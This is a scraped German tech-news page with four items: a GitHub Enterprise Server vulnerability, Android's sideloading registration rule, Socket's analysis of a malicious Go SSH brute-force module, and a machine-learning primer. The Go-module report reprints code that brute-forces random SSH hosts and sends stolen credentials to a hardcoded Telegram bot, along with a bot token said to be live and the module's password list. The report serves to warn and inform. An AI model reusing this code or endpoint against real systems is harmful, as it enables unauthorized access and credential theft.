Connect with us

Entwicklung & Code

Sicherheitsupdates: Unbefugte Zugriffe auf GitHub Enterprise Server möglich


Unter bestimmten Voraussetzungen können Angreifer GitHub Enterprise Server attackieren und auf eigentlich abgeschottete Informationen in Repositorys zugreifen. Dagegen abgesicherten Versionen stehen zum Download bereit.

Aus einem Eintrag zur Schwachstelle (CVE-2025-8447 „hoch“) geht hervor, dass die Entwickler GitHub Enterprise Server 3.14.17, 3.15.12, 3.16.8 und 3.17.5 repariert haben. Um die Lücke ausnutzen zu können, benötigen Angreifer der Beschreibung zufolge Zugriff auf bestimmte Informationen von privaten Repositorys wie Branches oder Tags. Ist das gegeben, können sie über die Compare/Diff-Funktion die Authentifizierung umgehen und Code im jeweiligen Repository einsehen.

Bislang gibt es keine Berichte, dass bereits Attacken laufen. Unklar bleibt auch, woran man bereits attackierte Instanzen erkennen kann. Admins sollten sicherstellen, dass ihre Github-Server auf dem aktuellen Stand sind.


(des)



Source link

Entwicklung & Code

Android: Google verbietet anonyme Apps


Google schränkt die freie Nutzung zertifizierter Android-Geräte ein. Ab Herbst 2026 können nur noch Anwendungen installiert werden, deren Herausgeber sich zuvor bei Google registriert und dann die jeweilige Anwendung signiert hat. Für Installationen über den Google Play Store gilt das schon seit 2023; nun wird die Anonymität auch für Sideloading abgeschafft, also für direkt am Gerät, ohne Nutzung des Play Store. installierte Programme.

Eine inhaltliche Prüfung der Software, beispielsweise auf Schadcode, führt Google dabei ausdrücklich nicht durch. Dennoch stellt Google den am Montag angekündigten Schritt als Sicherheitsmaßnahme dar. Umgesetzt wird er durch eine neue, verpflichtende Android Developer Console speziell für Sideloading. Kritiker vermuten einen Zusammenhang mit Bestrebungen von Behörden mehrerer Länder, die Öffnung Androids für alternative App-Stores zu erzwingen. Durch die Registrierungspflicht sichert sich Google auch bei diesen Einfluss erntet Daten.

Ab Oktober 2025 werden ausgewählte App-Entwickler das neue Prozedere für Google testen dürfen, im März 2026 sollen dann alle einsteigen können. Im September 2026 soll Sideloading anonymer Apps in Brasilien, Indonesien, Singapur und Thailand unmöglich werden. Ab 2027 folgt schrittweise der Rest der Welt.

Software-Herausgeber müssen im Zuge der Verifizierung personenbezogene Daten wie Name, Adresse, E-Mail-Adresse und Telefonnummer nachweisen, beispielsweise durch Rechnungskopien, und in vielen Ländern zusätzlich einen Lichtbildausweis hochladen. Für Menschen, die im deutschen Sprachraum leben, schreibt Google zudem vor, dass der Lichtbildausweis von einer Behörde im EWR oder der Schweiz herausgegeben sein muss. Wer das nicht hat, bleibt außen vor.

Juristische Personen müssen zusätzlich bei der Firma Dun & Bradstreet (D&B) eine sogenannte DUNS Nummer lösen. Das ist zwar gebührenfrei möglich, dauert aber bis zu 30 Tage. In manchen Ländern ist Expressbearbeitung gegen Gebühr möglich, was immer noch mehrere Werktage dauern kann.

Der Registrierungszwang erhöht die Kosten für Malware-Verbreiter und ähnliche Straftäter; sie werden sich am Schwarzmarkt Zertifikate für die Android Developer Console kaufen müssen. Gleichzeitig erleichtert die Registrierung Behörden die Verfolgung politisch unliebsamer Programmierer und macht privates Herumprobieren weniger attraktiv.

Von einer Ausnahme für selbst geschriebene Software ist nämlich keine Rede. Ausgenommen sind nur nicht-zertifizierte Android-Geräte; derer gibt es außerhalb der Volksrepubliken China und Nordkorea nur wenige. Sobald irgendein Google-Dienst vorinstalliert ist, handelt es sich um ein zertifiziertes Gerät.


(ds)



Source link

Weiterlesen

Entwicklung & Code

Go-Modul für Brute-Force-Angriffe auf SSH stiehlt die gefundenen Zugänge


close notice

This article is also available in
English.

It was translated with technical assistance and editorially reviewed before publication.

Ein von der Sicherheitsfirma Socket entdecktes Go-Modul führt zufällige Angriffe auf SSH-Ports durch, meldet einen Erfolg aber nicht nur dem aktuellen Nutzer, sondern auch dem Autor des Tools per Telegram. Weil die Telegram-API HTTPS verwendet, täuscht sie Sicherheitssysteme, da es sich beim Bot-Traffic um gewöhnliche Web-Requests handelt.

Das schädliche Go-Modul nennt sich golang-random-ip-ssh-bruteforce und lässt sich auf einen Cyberangreifer zurückverfolgen, der auf GitHub und im Go-Module-Ökosystem unter dem Namen IllDieAnyway zu finden ist. Seine GitHub-Seite hostete neben dem Go-Schädling weitere Tools wie einen Port-Scanner und einen Brute Forcer für das Datenbankwerkzeug phpMyAdmin – ebenfalls mit Backdoor. Mittlerweile sind die Webseiten von IllDieAnyway auf GitHub und Go-Module nicht mehr verfügbar.

golang-random-ip-ssh-bruteforce generiert kontinuierlich zufällige IPv4-Adressen und scannt damit parallel TCP-Port 22 auf ungeschützte SSH-Dienste. Dabei nutzt es HostKeyCallback: ssh.InsecureIgnoreHostKey(), um serverseitige Identitätschecks zu umgehen. Bei einem Treffer versucht der Schädling, eine Authentifizierung mit einer einfachen, lokalen Benutzername-Passwort-Liste durchzuführen. Nach einer erfolgreichen Anmeldung übermittelt golang-random-ip-ssh-bruteforce die IP-Adresse des Rechners und die Zugangsdaten an einen im Quellcode hartkodierten Telegram-Bot und meldet dem Nutzer den Erfolg. Anschließend beendet es sich selbst, um gegenüber dem Angriffspunkt möglichst verdeckt zu bleiben.

Socket hat einen Ausschnitt des Codes veröffentlicht und kommentiert:


// Probe the host on TCP 22. If the port is reachable, launch brute forcing.
func IsOpened(host string) {
    target := fmt.Sprintf("%s:%d", host, 22)
    conn, err := net.DialTimeout("tcp", target, 2*time.Second)
    if err == nil && conn != nil {
        conn.Close()
        go brute(host)
    }
}

// Configure SSH to skip host key verification, then attempt user:pass.
sshConfig := &ssh.ClientConfig{
    User: user,
    Auth: []ssh.AuthMethod{ssh.Password(pass)},
    Timeout: time.Duration(timeout) * time.Second,
    HostKeyCallback: ssh.InsecureIgnoreHostKey(), // Skip server verification.
}
client, err := ssh.Dial("tcp", addr, sshConfig)

// On first success, send stolen credentials to the threat actor's Telegram.
data := addr + ":" + user + ":" + pass + ""
http.Get("https://api[.]telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884&parse_mode=HTML&text=" + data)
close(succ) // Signal success and exit.


Nach erfolgreicher Übermittlung der abgegriffenen Daten antwortet die Telegram-API mit "ok": true für eine gültige message_id für den Chat 1159678884. Der hartcodierte Austrittspunkt lautet:

https://api.telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884

Laut Socket.dev ist das Bot-Token 5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY derzeit noch live. Telegram identifiziert den Bot als ssh_bot mit dem Usernamen @sshZXC_bot. Der Ziel-Chat 1159678884 ist ein privater Chat mit @io_ping (alias Gett). Sind Bot-Token und Chat aktiv, sendet der Go-Schädling die Daten jedes ersten erfolgreich durchgeführten Logins im Format ip:user:pass via @sshZXC_bot an @io_ping.


Telegram Client

Telegram Client

Der Telegram-Bot in Aktion: Der Go-Schädling ist aktiv (links), rechts die Account-Informationen des Bedrohungsakteurs.

(Bild: Socket.dev)

Das schädliche Go-Modul enthält eine kurze, statische Wortliste und bekommt weder Updates noch Zugangsdaten über das Netzwerk, sodass es bis zum ersten Treffer im Stillen läuft. Die Wortliste kombiniert lediglich zwei Usernamen – root und admin – mit schwachen und Standardpasswörtern, zum Beispiel toor, raspberry, dietpi, alpine, password, qwerty, numerische Sequenzen und Rollenbegriffe wie webadmin, webmaster, maintenance, techsupport, marketing oder uploader.


Liste User und Passwörter

Liste User und Passwörter

Das schädliche Go-Modul enthält eine SSH-Brute-Force-Wortliste, welche die Usernamen root und admin mit schwachen Passwörtern kombiniert.

(Bild: Socket.dev)

Socket warnt prinzipiell vor Supply-Chain-Attacken beim Einsatz von Modulen im eigenen Code. Anwenderinnen und Anwender sollten diese immer genau untersuchen, beispielsweise auf hartkodierte Gegenstellen im Netz – oft bei Telegram.


(who)



Source link

Weiterlesen

Entwicklung & Code

KI-Überblick 2: Wie Maschinen lernen – Methoden des Machine Learning


Maschinelles Lernen ist der mit Abstand bedeutendste Teilbereich der modernen Künstlichen Intelligenz. Praktisch alle heute erfolgreichen KI-Anwendungen basieren darauf: Texte zu generieren, Bilder zu analysieren, Sprache zu verstehen, Vorhersagen zu treffen – all das gelingt, weil Maschinen aus Daten lernen.

Doch wie funktioniert dieses Lernen eigentlich? Was bedeutet es, wenn ein System „trainiert“ wird? Und warum ist maschinelles Lernen keine Blackbox, sondern ein strukturiertes Vorgehen?


the next big thing – Golo Roden

the next big thing – Golo Roden

Golo Roden ist Gründer und CTO von the native web GmbH. Er beschäftigt sich mit der Konzeption und Entwicklung von Web- und Cloud-Anwendungen sowie -APIs, mit einem Schwerpunkt auf Event-getriebenen und Service-basierten verteilten Architekturen. Sein Leitsatz lautet, dass Softwareentwicklung kein Selbstzweck ist, sondern immer einer zugrundeliegenden Fachlichkeit folgen muss.

In diesem Beitrag gebe ich einen konzeptuellen Überblick über maschinelles Lernen. Ich zeige, welche Arten des Lernens es gibt, was sie unterscheidet und welche grundlegenden Ideen dahinterstehen.

Der entscheidende Unterschied zwischen klassischer Programmierung und maschinellem Lernen ist einfach: Bei traditioneller Software legen Entwicklerinnen und Entwickler explizite Regeln fest, nach denen ein Programm arbeitet. Beim maschinellen Lernen hingegen geben sie einem System Daten – und lassen es selbstständig Muster erkennen und Regeln ableiten.

Ein typisches Beispiel ist die automatische Bilderkennung. Statt einem Programm mühsam beizubringen, dass Katzen in Bildern meist Ohren, Schnurrhaare und eine bestimmte Fellstruktur haben, zeigt man ihm einfach viele Bilder von Katzen und Nicht-Katzen. Das System lernt dabei, welche Merkmale typisch sind – auf Basis statistischer Zusammenhänge in den Daten.

Diese Fähigkeit zur Generalisierung ist die zentrale Stärke maschinellen Lernens. Gut trainierte Modelle können nicht nur bekannte Beispiele richtig einordnen, sondern auch mit neuen, ähnlichen Situationen umgehen.

Im maschinellen Lernen unterscheidet man grob drei grundlegende Paradigmen: überwachtes Lernen, unüberwachtes Lernen und bestärkendes Lernen. Sie unterscheiden sich darin, ob und wie Feedback gegeben wird.

Beim überwachten Lernen erhält das Modell zu jedem Trainingsbeispiel eine Zielvorgabe – etwa die richtige Klassifikation eines Bildes oder den erwarteten Ausgabewert bei einer Regressionsaufgabe. Das Modell versucht dann, diese Zielvorgaben zu reproduzieren.

Beispiele:

  • Erkennen, ob eine E-Mail Spam ist oder nicht,
  • Vorhersage von Immobilienpreisen anhand von Standort und Ausstattung,
  • Diagnostik in der Medizin auf Basis von Bilddaten.

Das Modell wird so lange angepasst, bis es auf den Trainingsdaten möglichst wenig Fehler macht. Es lernt, die Beziehung zwischen Eingaben und Ausgaben zu modellieren.

Beim unüberwachten Lernen gibt es keine Zielvorgaben. Stattdessen versucht das System, Strukturen in den Daten zu erkennen – etwa Gruppen, Muster oder Ausreißer.

Beispiele:

  • Kundensegmentierung im Marketing,
  • Erkennung von Anomalien in Produktionsdaten,
  • Thematische Clusterung von Texten.

Ein verbreiteter Ansatz ist das Clustering, bei dem Datenpunkte in Gruppen mit ähnlichen Eigenschaften eingeteilt werden. Auch Dimensionsreduktion, also das Vereinfachen komplexer Datenräume, gehört in diesen Bereich.

Bestärkendes Lernen funktioniert grundlegend anders: Hier lernt ein Agent durch Interaktion mit einer Umgebung. Er erhält Belohnungen oder Bestrafungen, je nachdem, wie gut seine Aktionen in einer Situation waren, und passt sein Verhalten entsprechend an.

Beispiele:

  • Spielende KI (beispielsweise AlphaGo oder Schachprogramme),
  • Steuerung von Robotern,
  • Optimierung von Prozessen, zum Beispiel in der Logistik.

Im Gegensatz zu den anderen Lernarten geht es hier nicht um das Erkennen von Mustern, sondern um das Erlernen von Handlungsstrategien, die langfristig zu möglichst hoher Belohnung führen.

Unabhängig von der Art des Lernens basiert maschinelles Lernen immer auf der Idee, dass ein Modell aus einer Vielzahl möglicher Erklärungsansätze (dem sogenannten Hypothesenraum) eine möglichst gute Hypothese findet, die mit den beobachteten Daten übereinstimmt. Diese Hypothese kann zum Beispiel eine Regressionsfunktion, ein Entscheidungsbaum oder ein neuronales Netz sein.

Das Ziel besteht darin, nicht nur die Trainingsdaten zu erklären, sondern auch bei neuen, bisher unbekannten Daten eine möglichst gute Leistung zu erbringen. Diese Fähigkeit zur Verallgemeinerung ist zentral – und genau hier liegt die Herausforderung: Lässt man das Modell zu stark an die Trainingsdaten anpassen, besteht die Gefahr des Overfitting. Dann merkt sich das System Details und Zufälligkeiten, statt die dahinterliegenden Muster zu erfassen.

Trotz der beeindruckenden Erfolge maschinell lernender Systeme darf man nicht vergessen, dass es sich dabei um strukturierte Optimierungsverfahren handelt. Die Lernprozesse sind formal beschreibbar, nachvollziehbar und – bis auf Details in komplexen Modellen – durchaus analysierbar. Die Vorstellung, dass maschinelles Lernen eine Blackbox sei, ist nur dann berechtigt, wenn man auf die genaue Parametrisierung einzelner Modelle abstellt. Das Prinzip ist jedoch alles andere als magisch.

Umso wichtiger ist es, die Grundidee zu verstehen: Maschinelles Lernen bedeutet, aus Beispielen zu lernen, um Entscheidungen auf neue Situationen zu übertragen. Damit dies zuverlässig funktioniert, braucht es geeignete Daten, durchdachte Modellarchitekturen und eine sorgfältige Evaluation.

In der nächsten Folge werden wir uns näher mit neuronalen Netzen befassen – der Modellklasse, die das Deep Learning geprägt und viele der jüngsten Durchbrüche in der KI ermöglicht hat. Wir klären, was hinter Begriffen wie Neuron, Schicht und Aktivierungsfunktion steckt – und warum man mit einfachen Bausteinen erstaunlich komplexe Strukturen modellieren kann.


(rme)



Source link

Weiterlesen

Beliebt